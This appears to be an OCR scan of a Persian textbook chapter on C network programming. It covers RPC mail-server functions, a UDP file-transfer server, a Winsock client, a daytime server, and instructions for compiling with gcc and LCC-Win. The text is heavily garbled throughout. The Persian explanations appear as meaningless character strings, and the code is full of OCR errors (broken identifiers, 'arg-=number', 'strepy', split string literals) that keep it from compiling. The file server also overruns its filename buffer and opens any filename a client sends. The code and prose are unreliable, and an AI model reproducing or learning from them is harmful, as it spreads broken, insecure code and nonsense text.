if (myMbox == NULL) { //not logged in
myMbox = loadMailBox(*user);
}
if (myMbox == NULL) {

return & errMessage; //what's the matter?

}
strcat(*user,"” log in successful");
return(user);

}

/*

remove the user from the spool
save the mailbox
*/
char ** quit_2(char ** user,struct svc_req * req){
int i = getMailBoxIndex(*user);
mailbox* myMbox;
if i<0){
return & errMessage; //what's the matter?
}
myMbox = mailSpoolli];

saveMailBox(myMbox);

return(user);
}
/*
locate the mail box
*/

char ** insert_message_2(insert_argument * arg,struct svc_req * req){
mailbox* myMailBox;

myMailBox = getMailBox(arg->user);
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if (myMailBox == NULL) {
return &errMessage;
}
if (myMailBox->mails.mailNum >= MAILMAX) {
debug("mailbox reached it's max size\n");
return &errMessage;
}
strcpy(myMailBox->mails.mails[myMailBox->mails.mailNum],arg->mesg);
myMailBox->mails.mailNum ++;
debug("mail insert successful");

return(&errMessage);

¥

/*
design:
1. get mailbox, if error, return mails with mailNum = -1, put the error meg in mails[0]
2. return all the mails
status: design
*/
mails* list_all_messages_2(char** user,struct svc_req * req){
mailbox* myMailBox;
static mails allMails;
myMailBox = getMailBox(*user);
if (myMailBox == NULL) {
allMails.mailNum = -1;
strcpy(allMails.mails[0],errMessage);
return &allMails;

¥

return &(myMailBox->mails);
}
char** retrieve_message 2(argument * arg,struct svc_req * req){
mailbox* myMailBox;
inti;
myMailBox = getMailBox(arg->user);
if (myMailBox == NULL) {
return &errMessage;
}
if (arg-=number >= myMailBox->mails.mailNum) {

debug("No such mail\n");
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return &errMessage;

}

debug(myMailBox->mails.mails[arg->number]);

return(&errMessage);

}
char ** delete_message_2(argument * arg,struct svc_req * req){
mailbox* myMailBox;
inti;

myMailBox = getMailBox(arg->user);

if (myMailBox == NULL) {
return &errMessage;

}

if (arg-=number >= myMailBox->mails.mailNum) {
debug("No such mail\n");
return &errMessage;

}

for (i=arg->number; i<myMailBox->mails.mailNum-1;i++) {
strcpy(myMailBox->mails.mails[i], myMailBox->mails.mails[i+1]);

}

myMailBox->mails.mailNum --;

debug("mail delete successful");

return(&errMessage);
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TFTP om.:,.g,,umlsﬁas

#include <stdio.h> /* for printf() and fprintf() */

#include <sys/socket.h> /* for socket() and bind() */
#include <arpa/inet.h> /* for sockaddr_in and inet_ntoa() */
#include <stdlib.h>  /* for atoi() and exit() */

#include <string.h>  /* for memset() */

#include <unistd.h>  /* for close() */

#include <math.h>

#define ECHOMAX 518  /* Longest string to echo */

void DieWithError(char *errorMessage){
perror(errorMessage);
exit(1);
}
int countbyte(char *fname){
FILE *fp;
char ch;
int noc = 0;
fp = fopen (fname,"rb");
while(1){
ch = fgetc(fp);
if(ch == EOF)
break;
noc++;
}
fclose (fp);
return (noc);
}
void DieWithError(char *errorMessage); /* External error handling function */
int main(){

int servsock, clntsock; /* Socket */
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struct sockaddr_in tftpServAddr; /* Local address */
struct sockaddr_in tftpCintAddr; /* Client address */
unsigned int cliAddrLen; /* Length of incoming message */
char tftpBufferfECHOMAX], tftpBuffersend[ECHOMAX];
unsigned short tftpServPort;  /* Server port */
int recvMsgSize; /* Size of received message */
char request, fname[50];
inti, k, j, X, blockno;
char blk_nol[6]; /*Tracks block no*/
int firststringlen, sendacklen, tftpBuffersendlen;
int totalbytes, oldblockno;
FILE *fp;
int respStringLen; /* Length of received response */
char *sendack;
char ch;
int templen;
tftpServPort = 2000; /* Standard tftp local port */
/* Create socket for sending/receiving datagrams */
if ((servsock = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
DieWithError("socket() failed");
/* Construct local address structure */
memset(&tftpServAddr, 0, sizeof(tftpServAddr));
tftpServAddr.sin_family = AF_INET,; /* Internet address family */
tftpServAddr.sin_addr.s_addr = htonl(INADDR_ANY);
tftpServAddr.sin_port = htons(tftpServPort); /* Local port */
/* Bind to the local address */
if (bind(servsock, (struct sockaddr *) &tftpServAddr,
sizeof(tftpServAddr)) < 0)
DieWithError("bind() failed™);
for (;;) /* Run forever */{
/* Set the size of the in-out parameter */
cliAddrLen = sizeof(tftpCIntAddr);
bzero(tftpBuffer,sizeof(tftpBuffer));
/* Block until receive message from a client */
if ((recvMsgSize = recvfrom(servsock, tftpBuffer,ECHOMAX,O0,(struct
sockaddr *) &tftpCIntAddr, &cliAddrLen)) < 0)
DieWithError("recvfrom() failed");
request = tftpBuffer[0];
for (k=0 ; k <= 50 ; k++)
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fname[k] = tftpBuffer[k+1];
if (request == 'R'){
bzero(tftpBuffersend,sizeof(tftpBuffersend));

fp = fopen(fname , "rb");

if (fp =

¥

= NULL) {

bzero(blk_no,sizeof(blk_no));
k=1;
sprintf(blk_no,"%d",k);
templen=strlen(blk_no);
tftpBuffersend[0]="9";
tftpBuffersend[1]="0";
tftpBuffersend[2]="0";
tftpBuffersend[3]="0";
tftpBuffersend[4]="0";
tftpBuffersend[5]="0";
strepy(&tftpBuffersend[6],"Error in
opening file to read. Check filename. \n");
tftpBuffersendlen = strlen (tftpBuffersend);
if (sendto(servsock, tftpBuffersend,tftpBuffersendlen
,0,(struct sockaddr *)&tftpClntAddr,
sizeof(tftpCIntAddr)) <0)
DieWithError("Send failed");

continue;

totalbytes = countbyte (fname);
totalbytes = floor (totalbytes/512);
for (i=0 ; i<=totalbytes ; i++){

bzero(tftpBuffersend,sizeof(tftpBuffersend));
X=i;
/fp = fp + (i * 512);
sprintf(blk_no,"%d",++Xx);
templen=strlen(blk_no);
for(k=5;k>=0;k--){
if(templen=0)
tftpBuffersend[k]=blk_no[--templen];
else
tftpBuffersend[k]="0";
}
for (j=6; j<=517; j++){
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if ( (ch=fgetc(fp)) != EOF){
tftpBuffersend[j] = ch;

else{

break;

}
tftpBuffersendlen = strlen (tftpBuffersend);

if(sendto(servsock,tftpBuffersend,tftpBuffersendlen,

0,(struct sockaddr *)&tftpClntAddr,
sizeof(tftpCIntAddr)) <0)
DieWithError("Send failed");
bzero(tftpBuffer,sizeof(tftpBuffer));

recvMsgSize = recvfrom(servsock, tftpBuffer

, ECHOMAX, 0,(struct sockaddr *)&tftpCIntAddr, &cliAddrLen);

client. Try again.");

while(tftpBuffer[0]=='R" || tftpBuffer[0]=="W"){
tftpBuffersend[0]="9";
tftpBuffersend[1]="0";
tftpBuffersend[2]="0";
tftpBuffersend[3]="0";
tftpBuffersend[4]="0";
tftpBuffersend[5]="0";
strepy(&tftpBuffersend[6],"File transfer in progress with another

tftpBuffersendlen = strlen (tftpBuffersend);

if(sendto(servsock,tftpBuffersend,tftpBuffersendlen,0,(struct sockaddr *)&tftpClntAddr,

sockaddr *)&tftpCintAddr,

sizeof(tftpCIntAddr)) <0)

DieWithError("Send failed");
bzero(tftpBuffer,sizeof(tftpBuffer));
recvMsgSize = recvfrom(servsock, tftpBuffer, ECHOMAX, 0, (struct

&cliAddrLen);

for (k=0 ; k<=5 ; k++)
blk_no[K] = tftpBuffer[K];

blockno = atoi(blk_no);

X=i;

++X;

while (blockno != (x)){
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if(sendto(servsock,tftpBuffersend,tftpBuffersendlen,O,
(struct sockaddr *)&tftpClntAddr,sizeof(tftpCintAddr)) <0)
DieWithError("Send failed");

recvMsgSize = recvfrom(servsock, tftpBuffer, ECHOMAX, 0, (struct

sockaddr *)&tftpCintAddr, &cliAddrLen);
while(tftpBuffer[0]=='R" || tftpBuffer[0]=="W"){
tftpBuffersend[0]="9";
tftpBuffersend[1]="0";
tftpBuffersend[2]="0";
tftpBuffersend[3]="0";
tftpBuffersend[4]="0";
tftpBuffersend[5]="0";

strepy(&tftpBuffersend[6],"File transfer in progress with
another client. Try again.");

tftpBuffersendlen = strlen (tftpBuffersend);

if(sendto(servsock,tftpBuffersend,tftpBuffersendlen,0,(struct sockaddr
*)&tftpClntAddr,sizeof(tftpCintAddr)) <0)

DieWithError("Send failed");
bzero(tftpBuffer,sizeof(tftpBuffer));

recvMsgSize = recvfrom(servsock,
tftpBuffer, ECHOMAX,0, (struct sockaddr *)&tftpCIntAddr, &cliAddrLen);

}
for (k=0 ; k<=5 ; k++)
blk_no[K] = tftpBuffer[k];
blockno = atoi(blk_no);

}
fclose(fp);

printf("\n File sent successfully \n");
}
if (request == "W"){
fp = fopen(fname , "wb");
if (fp == NULL) {
k=1;
sprintf(blk_no,"%d",k);
templen=strlen(blk_no);
tftpBuffersend[0]="9";
tftpBuffersend[1]="0";
tftpBuffersend[2]="0";
tftpBuffersend[3]="0";
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tftpBuffersend[4]="0";
tftpBuffersend[5]="0";
strepy(&tftpBuffersend[6],"Error in opening file to write.");
tftpBuffersendlen = strlen (tftpBuffersend);
if (sendto(servsock, tftpBuffersend, tftpBuffersendlen,0,
(struct sockaddr *)&tftpClntAddr, sizeof(tftpClntAddr)) <0)
DieWithError("Send failed");

continue;

k=0;
sprintf(blk_no,"%d",k);
templen=strlen(blk_no);
for(k=5;k>=0;k--){
if(templen=0)
tftpBuffersend[k]=blk_no[--templen];
else
tftpBuffersend[k]="0";
}
tftpBuffersendlen = strlen (tftpBuffersend);
if (sendto(servsock, tftpBuffersend, tftpBuffersendlen,0,
(struct sockaddr *)&tftpClntAddr, sizeof(tftpCIintAddr)) <O0)
DieWithError("Send failed");
oldblockno = 0;
blockno = 1;
bzero(tftpBuffer,sizeof(tftpBuffer));
while ((recvMsgSize = recvirom(servsock, tftpBuffer, ECHOMAX,
0, (struct sockaddr *)&tftpCIntAddr, &cliAddrLen)) >0) {
while(tftpBuffer[0]=='R" || tftpBuffer[0]=="W"){
tftpBuffersend[0]="9";
tftpBuffersend[1]="0";
tftpBuffersend[2]="0";
tftpBuffersend[3]="0";
tftpBuffersend[4]="0";
tftpBuffersend[5]="0";
strepy(&tftpBuffersend[6],"File transfer in progress
with another client. Try again.");
tftpBuffersendlen = strlen (tftpBuffersend);
if(sendto(servsock,tftpBuffersend,tftpBuffersendlen,O,
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(struct sockaddr *)&tftpClntAddr,
sizeof(tftpCIntAddr)) <0)
DieWithError("Send failed");
bzero(tftpBuffer,sizeof(tftpBuffer));
recvMsgSize = recvfrom(servsock, tftpBuffer
,ECHOMAX,0,(struct sockaddr *)&tftpCIntAddr,
&cliAddrLen);
}
for (k=0 ; k<=5 ; k++)
blk_no[K] = tftpBuffer[K];

blockno = atoi(blk_no);
if ( blockno == oldblockno)
continue;
sendack = blk_no;
sendacklen = strlen (sendack);
if(1(recvMsgSize<518)){
fwrite (&tftpBuffer[6],sizeof(char),512,fp);
sendto(servsock,sendack,sendacklen,0,(struct sockaddr *)
&tftpClntAddr,sizeof(tftpCintAddr));
oldblockno = blockno;
}
else{
/* checks data block size*/
fwrite (&tftpBuffer[6],sizeof(char),recvMsgSize-6,fp);
fclose (fp);

sendto(servsock,sendack,sendacklen,0,(struct sockaddr
*)&tftpClntAddr,sizeof(tftpCIntAddr));

printf("\n File transfer complete. \n");

break;

}
bzero(tftpBuffer,sizeof(tftpBuffer));

}
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S 1,455 IS 0ss (o)) ) Sid g blasls

ASSS

Colgs 9 olgs slo Prototype ssl> wigds (o asive *N Sigus L a5 Jan sla LB a5 col S3 o3y
o 8 eolaiwl 5,90 iy I3 lib leLls o a5 =le 65 G Glp g e Aol jo oslaiul 5,90

=

(35S
GlulS oS canl Lo wil sads aseie WINSOCKZ2.N jus jo sl Jow a5 gy 5l oolaiwl (gly azciyo
data link ) dll LG ,o a5 cool g sol> albuliS ol a5 04 adlol by 4 55 WS2_32.1ib

5,8 1,3 (library
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o 0ot VC Lals U1, 0l o o sios 5o ol ooyms 6 5 sl S 508 leals i asll o

==
<stdio h»
<conio h3
<stdlib.h»
<string.h>
<winsock2 h
main function
Ws232lb mein(int argc,char **argv)]
WSADATA wsaData:
WORD wVWersionRequested:
SOCEET intSocket
struct sockaddr_in recSin:
int intErr;
char *pchrBuffer:
if (argecc=2){
printf(": Error on The call Program: n"]}:
printfi"”=s RemotelPAddress RemotePort' srgv[0]):
exit(l]);

recSin. sin_addr S_un.S_addr=inet_addr({argv[1]):

recSin. sin_family=AF_INET.

recSin. sin_port=htons(atoi(arav[2])):

wVersionRequested=HAKEWORD(2, 0} ;

if (WSAStartup(wVersionRequested . dwsaData) ) {
printfi{"~n: :Error On init Socket:@:>n"):
exit({1);

i
intSocket=socket (AF_INET, SOCK_STREAM, IPFROTO_TCE) ;
if (intSocket==INVALID SOCKET){
printf{"~n: :Error On Create Socket::“n"):
USACleanup();
exit(1):

intErr=connect {intSocket  &recSin, sizeof (struct sockaddr in
if (intErr WALID SOCKET) 4

4-5 Js

Lg ‘; ML:)J BLIY o Loy Q?“S‘ 9 Sl 00l MBJ ‘_g)ig‘u) 61.(25 )53..3‘0| 39 )L:é Loy ML:)J as ):.: 60)|5A O
led oolind VCH+ 51 35,5 LalS jslate 4 ails oo o2 )5 CPP L € igeoy

(4-6 JS2)o5,5 5L VC o1, 555 asliy bl om0 OPEN a3 5l oolial b Loty el oyl 4o

F#] Deskiop

IE' dy Computer
i My Documents
Metwork Meighborhood

E——

i:.h.th.inl,.rc)
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ol aely fas blaels cax 1, WS2_ 321D awilbsuls a5 el LS loases asbiyp b1 bl 5l o
WS a8lsl 3 059

Build oo 5l ol oo 0l (oo 4ol bloslS sl slp Lome juz and ailbulS cpl 0,5 adlol 5l am
g 00,5 SIS, build au;s Build Sl Toaze dl> o ol 5l a5 asS Sl | Compile au;s
al> o 4l gl andl oy yols o (LBXE ) Slal Do aib aniles olhs 45 Soge 0 1) 4l
2l Gl L FS als ailg oo 098 Ll Slogil & j90 4 ooy coio i 5 4 [INK 3 Compile
Ao lid aeliy oS

by 5 gy axils JIB (T 50 by wygw 45 (G & by Ui szl gly Jole onl 5l o
4 111, s ls 1,3 Debug el gl asli g0 a5 1, 0> ol >l

PriE

S ymn 33 45 CLEXE asliys 5 VCH+ LLLLS abowg @ 85 slo aslip 0,5 bLaslS (6l ausley oo Lo
S ooliiul o ls LB DIN o6 4 gl asgr ,o Wl 00,5 caai |, VC++ a5

00,5 hLalS 1, asls 5845 & )90 4 058 0 1>l (COmmand Prompt ) oyl s Ls o 4 asl s oy
Sl o 1) 393 (639,54l alym! BB g oS o S8 1, LINKEr asl s oo

10S e 05 eud b a Clexe i oslaiul sl

X:\>cl.exe file —o ExeName SourceFile Librarys

o opl 5l am a5 b ) cenl oo ooliinl olz! BB )55 pb slp =0 mgw 5l IS Jle cpl jo 4
5 il oo asliyp Loygw b1 b o» SOUCEFIle o (o4 aalys oois asls ol b pb o 05 o 1,8
03,51 Wsd Jloals acliyy olyam 4y salss (o a5 pla bl S0 5 ) AlulS slo L b oo caled o
D9 (5

e

C:\> \Microsoft Visual Studio\VC98\Bin\cl.exe —o C:\Server.exe C:\Server.c
\Microsoft Visual Studio\VC98\lib\WS_32.lib

GBS ol pen a1y o) 13 C glio o aS 1) SEIVEI.C ol & aie bB lo,d cpl >l L
s o )30 gl 05 a8 o S hLals Server.exe oL 4 WS2_32.1ib

G951, Date&Time g w asby VCHH6 LLS L aSes lo aslip 48,5 hlolS o o5 sl

MGAJJLAKVC++6lJM9M9)6A‘) S| Jl.a_‘a}lwl@omo B 13 o)l.o..:b u)y
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2l g osh o Jlb 13 ojleds &y (55, » DAR&TIME i ails (o0 a5 b olon
S oo byl 0aisS CanlgB 00 sl 1) 0518 gy SgemelS el g g b ¢ Jlasl Cenlgs o

e

telnet yahoo.com 13

D5 go 00ly ioled Lok g1y 58l &5 10 slo oaimd g (ylej 5 2,0 398 leyd 6121 L

il oo 1) Sz 4 DACETIME 00ils usgpms o5 Lo y5es

#include <time.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
int main(){
/* define varabel */
time_t Time;
int intErr,intLen;
struct tm *pTime;
char pchrBuffer[50];
WSADATA wsaData;
WORD wVersionRequested;
SOCKET intSocket,intRemoteSocket;
struct sockaddr_in recLocallP,recRemotelP;
/* start Code */
wVersionRequested=MAKEWORD(2,0);
WSAStartup(wVersionRequested,&wsaData);
recLocallP.sin_family=AF_INET;
recLocallP.sin_port=htons(13);
recLocallP.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");
intSocket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(intSocket==INVALID_SOCKET){
printf("\n::Error On Create Socket::\n");
printf("Error Code:%d",WSAGetLastError());
WSACleanup();
exit(1);
}
intErr=bind(intSocket, (struct sockaddr *) &recLocallP,sizeof(recLocallP));

if(intErr==SOCKET_ERROR){
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printf("\n::Error in bind Function::\n");
printf("Error Code:%d",WSAGetLastError());

WSACleanup();
exit(1);
}
while(1){

intErr=listen(intSocket, SOMAXCONN);
if(intErr==SOCKET_ERROR){
printf("\n::Error in Listen Function::\n");
printf("Error Code:%d",WSAGetLastError());
WSACleanup();
exit(1);
}
intLen=sizeof(recRemotelP);
intRemoteSocket=accept(intSocket,(struct sockaddr *)\

&recRemotelP,&intLen);
if(intRemoteSocket==INVALID_SOCKET){

printf("\n::Error in Accept Function::\n");
printf("Error Code:%d",WSAGetLastError());
WSACleanup();
exit(1);
}
Time=time(NULL);
pTime=localtime(&Time);
strepy(pchrBuffer,asctime(pTime));
intErr=send(intRemoteSocket,pchrBuffer,strlen(pchrBuffer),0);
printf("Numbers of Data Sended:%d\n",intErr);
if(intErr==SOCKET_ERROR){
printf("\n::Error in Send Function::\n");
printf("Error Code:%d",WSAGetLastError());
WSACleanup();
exit(1);
}
closesocket(intRemoteSocket);
}
closesocket(intSocket);
WSACleanup();

}

S blelS py @yge wly 398 sl p sy (o Jl>
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C:\>\Microsoft  Visual Studio\VC98\Bin\cl.exe -0 C:\DateTime.exe
C:\DateTime.c \Microsoft Visual Studio\VC98\lib\WS_32.lib

) asly opl a5 6 5ensls 13 &g & ( Telnet Client Jio ) cooMS asbip SO L g oS 12l 1 4l

310 518 ol 65y S asliy oS (55l (55, 2 oS (Syze 50 ) Wsd Jale wl s S 12l ol (s,
Slp Jlasl calgs )0 1o ljl a4 asS e ssaline (sles oolawl LOCAIIP 5l aul 08,8 1,21 1) g oo

QWGAJL@)‘ Q)L})‘).é QT (59)).30..).3..@0 wsﬂé\fdfwlswhusé.:)bw

: GCC Jluls

13w gCC

1987 Jlo jo cradliv] o), lawgs 5 0L o GNU Compiler Collection «lds oL ,.. gCC
slo oy clo glp 1) JLLelS cal ail o ST 1381 05 Gtaiz IS0k a5 prelbil (GBI 0 asye
Open  Lole pincw S ol pladan a5 ((cel GNU NOT UNIX 5l 255L o le a5 ) GNU

8,5 a8l 54 SOUICE

. Cobol . ADA . Fortran . C++ . C slo Ly a1, oo oS Loygw Sool ol ares 38 LS oy
S adg 1) Ll ol oS g e0,S bLalS T, . g JavVa

1gcC bl 4ol g o0 5 b5

Sl 05 a5 Sle ol 5l eslizal b1, 9s5 asly b Lot GCC LS b b asliy 30,5 LlalS sl
Gogasl buzme g Conl JLLalS S e PCC 15 led 0058 € Wigey b g dmmgin WS (o0 W8 (Ao
ol Sy5e 0 a5 (gl iS5 Lo amles eslitul Lilise slaysnol 5 als o L .00 deliy oyidiss (sl
ey ol allgs Cdlae sl (Sl oS Wb o jeiol cpl a5 cal pl acsl alils (e o Wb b a0l
g2 10l 0429 b SIS gl a5 alisee slo laslinl b ooy Jie 6,50 sl o e & aisles
& oor ) BB g ;0 0ad 4y sla 0 WS o0 Rl ) sl oS ilie Jolpe po ShLalS
o M aebp o2l o8 Caled 40 5 0 (so oy p ) g b e Lo allid ¢ guldS SLlS g il
Ol b &S (Pgie i glp g 05T (o0 adgi |; 093 o5 la 05 45 (g gm0l ek oS g 0 WS
aslip blsls J>1ye ,0 (World Perfect L msWorld ,.bs) s o coliiw] cols cowyd 5l ail oo axigs

S (oo ABgte |y aslipy JlLals wig) Lt (Dlel b g 098 (00 929) (sogtdel By 5 o iS5 L JLLLLS
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S sl NOPAL L o VI L KWrite 51 ol oo Lads aslip oxivgd sl
Soy s il SULG 0 gl o0 1) 055 el a5 ol b (0 Lad Conl S a5 il s axg
ansls |y s oo )8 Leds LB jo anes ;08 sla LLalS sle IDE a5 6,K00 GllSal 5 (soudS lels Silags!

8S g oS Lol 1) canl WSeid Jole w5l OPEN SOUICE Xiul g G oS |, KWrite vl g Jie lp

wasled 0,053 .C Wigao b aw g dwngo ol jo 1y 5

#include <stdio.h>
/* main Function */
int main(){
char chrTest;
unsigned int bolExit = 1;
do{
printf(*\n Salam \n”);
printf(*are you Sure for Exit(y/n):”);
chrTest = getche();
bolExit = chrTest=="y'? 1 : 0;
Jwhile(bolExit);
return O;

¥
21 59aks 205 §0C ST uSsid plajd b 3yl 511, 0CC asyy 055 asliyy b Gujgme 00,5 e0lol 5l amy
(4-7 JSs) woles Lzl 5g000g oleyd Loz 5l oolawl b o ls L

“em B iy |1 [#uncconsle—onsole |
by Help iyles 590C sy (sl 21 4-7 s a2 @
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WS 2l plep bt 3,k 51, 0CC 5 ©)ge sl S hlalS 1) 055 sl il sl

gcc [options] [filenames]

Sohilen a4l ol aisls .C Ko Wl o a5 Cawlod aalip o5 L oL FileName s > ol o
s 69959 4alip o2 b 4 g wled hlLel 1) cilie sla (b (slo oS wjsm Wilgi (0 CC wils oo oS
Al asls aliee lo Wgu wilgs

ASSS

Ja""‘a“"““""">9'>9“’ ‘>)L> 0979 19429 J‘LCW)° ‘\SG’L‘""" C)T‘\‘. J‘b Qg u“sﬁ"‘J JAL‘WP
ol )8 Janagi Lol 95 (anetd sl Leal) SO

b Jee j0 Jg s o 5l i Ll slaws a5 axied 4ol o0l slo g JCC oke,d s s Options
1 eudles Ll (o e (e 4 Caond (ol 50 o2 Lo g 0ilas Slaus eolasnl LT )
(4-7 JS) oS jolo ]y 15 ole,3 OCC LLLlS 5 eolal slosal, oyas &y

[Farhadnia@localhost]$gcc --help

Souie Oledbl aly o b g sl dalgs 0 ioles 4 L 61, OCC 380 o5 NElP b3 cpl sl b
RUVEL SPUPUWA N 0] UYL SN BCSVORR

ASS

Sl a8 soliinl wrivs 4lS &0 4 &S ol g ) adlen Al sl S bele et o
Ceadle Sy gl el (B 0y 0y (B> Slezsw 5l adlsn 4l sl s (WO Dash ) - codle
oS 288 ) Jlie 4 0sS oolaal (- ) Dash

gcc --help

gcec —o

G 2 i Dyge 4 1, 80U L gCC 0SS bl g5 ol adliy slp 1) (ob BLelS Glej 5o ST
el cnl o9 addsi pols ol Lol ol 2l ael wites blo &5 (g0 )3 w83 (oo (olaisl Lok asliy
(4-8 Jsi) oS 3,20 0CC « (SMAll 0 ) -0 gugm 3l oolital L b
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EdLinux Console - Kon

Session Edit View Bookmarks Settings Help

Ly

[farﬁadniaﬁlm

RO

tlz) 4l b i (612 0 g L OCC Jls>y8 4-8 IS

S 0,3 TESELC b L1, T 5 o g KWIIEE jo 1) 105 aslip 955

#include <stdio.h>
int main(){
int i,j;
for(i=1;i<=10;i++){
for(j=1;j<=10;j++)
printf(*%d ", i * j );
printf(*\n”);
}

return O;

WS o0 Pl ey 50 g 00,8 wdgi |y oyl Jeazr asly ol
Loy ol 4 1, A.0UL oL S555 & y50 4 OCC 595 oS bLelS JCC L 55 Sygo s |y el ol 51
WS Slg33a.0UL sB L b1y ol asby slal sl g om0 Lolais
[Farhadnia@localhost]$gcc Test.c
R JES P TN
[Farhadnia@localhost]$.\a.out

gl oo 00l Hinled Lol (gl o Jeuz YL le 3 sl 5l o
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o 0CC 4 0 gmgw L1y 095 Sl pb b s plais! asliy 4y 1) 095 o 550 oL algs ST L

ol oo o8lo _plaisl YU aslp 4 RUNING 6L 55 Jlie o
[Farhadnia@localhost]$gcc -0 Runing Test.c

ol Gl
[Farhadnia@localhost]$.\Runing

ASS

Sz 5 Sop ) Be g5 A pSsid 5 pSin Jele pla ;0 o ol oS Bl axils azg
ol Sglae o Jule giunw opl ;o TUNNING 4odS L RUNING aalS s il (o ol (B>

(4-9) s oS solaznl ol VEIDOS aelS Cadses 45 =V zugu 5l 2l

RdLinux Console - Konsole

Session Edit View Bookmarks Settings Help

Ly

RO

0CC ;o V zugw 5l oolitul o9 4-9 S

(w5l 1) o 221) 98 s )ls 055 (T 50,8 S 51 5 aS hlealS | aslp baid GCC 55 walysy S
S al> o g 09 oo 4Bl asliyp 5l ODJECE LB Lais cdl> pl o oS solitul =C gugm 5l aulys oo
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ASS

L o g @5l 05 gm0 51 ODJECT L o) o1yt aulip cobo sl HhlalS jo adils o a5 jshiles
WSS e adg |y ala! BB g es,s lINK T, sus L Object LG linker ab 5l soliiul

'V‘_ Liﬂﬁ Cﬂﬁ];“ﬂ_ﬁﬁﬂr‘- Ef ...................................................................................................... r

Session Edit View Bookmarks Settings Help

23y

[far |' adnia@lo

4-10 s

SPadly oo [ Jlals Jos g9 ) 9 Gl b S daid 1) aalyy ujg 4 )l 5ls (53090 50 3]
A2 oo GLad 1) g pl 5l colaiul ogon OS axgi ) Jle 4 ool ( Sy ‘-"’P) E o

[Yunas@localhost]$gcc -E filename

25 om oals el (55 8 5 A3l GCC s askiy e o ol o

4 0CC aalS 5l uily oo dnl Ml 395 wiaccws (59, » o coai CC (VEISION ) (35 51wy aSol ol
S B 3 e 45 asS 0olaiul §CC 58l e ) el ys(dash) Ls o)l g0 ol e

[Yunas@localhost]$gcc —verstion
ol go 58 Ginled 4 letans (595 2 99290 §CC (3,55 598 (ylojd 51,21 L
gl oo oolaiwl =0 zugw 51 QCC o (debug) ast . oy Jsal 6l

$lgs oo anlip ol 40 00 arai slo OPLIONS § Lo zugaw ;500 9 0CC LLaLS 8,90 j0 i Sledlbl cS (ol

Sl o)ls 0529 >t g JulS Sledlbl §CC LLLLS 8,590 50 Leaaly cpl jo asS colain] WSeid slosal,
fowes HLlas J, ENter ods g s ol | 55 ol wSend leyd b jo Ll ol 5l eolaul
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[Yunas@Iocalhost]$ man gcc

il (oo phaled (79,5 0 OCC @ by o DMl 358 (o) (sl L

:’..s.
3l aend ol aly oo el Cenl ool 2lhb 50 j90in s Jele i s jo S5 (6l 55 QCC LLLES (ol
Lol 5l anes ju8 LLalS ol
WWW.gcc.org
o e 53 j9iing Lame ;0 aied 08 LhLalS pl SISl Sl ol 5 (s Al cedl 095 i (59 32 9 23S L0

Lec-Win gl
I$cwm Lcc-Win

Wby 2oy a5 0500 95z j9any Jole el Lo (sl o5 Cel ol LU 15 698 5 (o LCC LLLals
BB 2ales 50 5 Sid am 5 00,8 LLalS ) (2S0) (6,0l (2o 5 (ol 5 05 ¢ (o Ol & 0 athys lo

PP Pt PR L= B P P pe

ol oas 00ls Lioles LCC LLaLS (IDE ) asls p Jawmo 4-11 IS j0

File Edit Search Project Design Compiler Ukils  Yersions ‘Window Help

O build search
- a .;: e

LCC-WIN ,LLals Loxe 4-11
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dngr by 055> Lawgs g oud wSle 5 (Hhb Hgaile WS 5 55,8 B ) Lwgd wied )08 Ll
RCOW PR W C I [ BTV UIRPTSA SRUON JRTIRPS

el 395 e Sy 32 9 03,5 Sglile I8l el 4 bgrpe Cole Sl (S2l) 4 sl (o 1) LWL Gl
VLY

SUCIFS U

http://www.cs.virginia.edu/~Ilcc-win32/

' LCC b 4ol 9 JsLolS 092

5l eolatul b aSnl b awsS JlalS 1) 095 oo aisgs sle aalipy LCC L aigis a5 wjgel (oo Lot el o
Saaled Blals Cales 50 5 08 oelati | 095 aslip oS LCC-WIN (a2 LSy s asliy e ) IDE
S oolel 1) 393 el LCC-WIN 51 ooliiul b a5 suble Lo 4 oS oo 2,3 lal o

Aol g asS Gy pad HLLlS pl G dyas 09y SO AT Bkl Lce-Win Loaelp SO oidgs sl

JSs ) ass SIS 1, Project as ;s New o 5 50 File g5 0 o 5 08 1511, Lec-Win
(12-4

FEN Edit Search Project Design Compiler  Ukls  Mersions  ‘Window  Help
File
Editor window

OpEn..
Open binary. ..
Insert a file

Save Chrl+s
Save as,,,

Save al

Reload

Sek read-only

Clase CerH-F4

Print..

Quit alt+F4

O build search
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Definition of @ b 4 sl oz sl aya o590 SO i a5 sline 4 a5 Project a8 ol 5l aw
oy a0y ol sle Al jo b Lo a5 0l oo 00ls ioled Lo 6‘)%(4'13 Jsz ) new Project

S)lg 1y 09 038 L] 2 Led oign o bl able &5 (e (rized 5 s (9 1) 995 059y el
o aie |, (ObJeCt 5 olzl slo L) 055 asby (25,5 y0] Silss (oo o2 po abd o oS

Definition of a new project

Mame of the project

Create

[Wfithiout |[
path)

Sources

Cancel

Help

working |
directory:

Output directory-

Browse

el

Objects and |
executables

Optionz
(* Single uger
" Multi user

— Type of project
O windaws application
(% Console &pplication

[ Use versioning system
[~ Use framework,

" Static: Library [lib)
" Dynamic Link Library (dl)

4-13 s

VLY

S9y 2 PP O &S 05 atde ol e |y 0g3 by ledal el oyt ol Gl Cwed o
€5 2990, 4SS 6w SO Loy ol Glel jo Coles jo gl B oS SO S Single User
bl baaly SO Ll Jele pis JomdS Cond doliyy SO ilgs o 4 058 (o Jlges Lol 5l 035
S5 039y £ 4 Al Al (g wlols’ B G oS B bl g DLL G asiul b sl oy 6 )8

S oo S 1y L85 890 asp3S

SEIVer ol a ojgn <o diges opl 10 cowin duly (o ) oy ool 5l ool diges o 4-14 IS o

Q).S‘SA)‘)S ool S0 of)U&:u)wmsmbanMm6l Ml;).:d.Sw‘ ol gJu).x.:
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Definition of a new project

i~ Marme of the project-
[without  [g
path] ] ki Cancel
Help
Sources
"
Erclécltr;?y: ]D:I'”TEStL':': Browse

 Output directon -

Obiectz and
executables

4 Testlochloo

Options
* Single user [ Usze versioning system
 Multi uzer [ Use framewark,

Type of project
™ Windows application " Static Library [lib]

{+ Console Applicatior: ™ Dynamic Link Library [dil]

Definition of a new Project o, oo 5 0,8 5l sl aiges 4-14 S

gy o > e 4 B ases jLzs |, Create ass Ll o

Sygo 4 0jgp cle gy aslsl a5 able LT a5 (4-15 S5 ) 0gd oo Jlgw Lo 5l gam Caond o
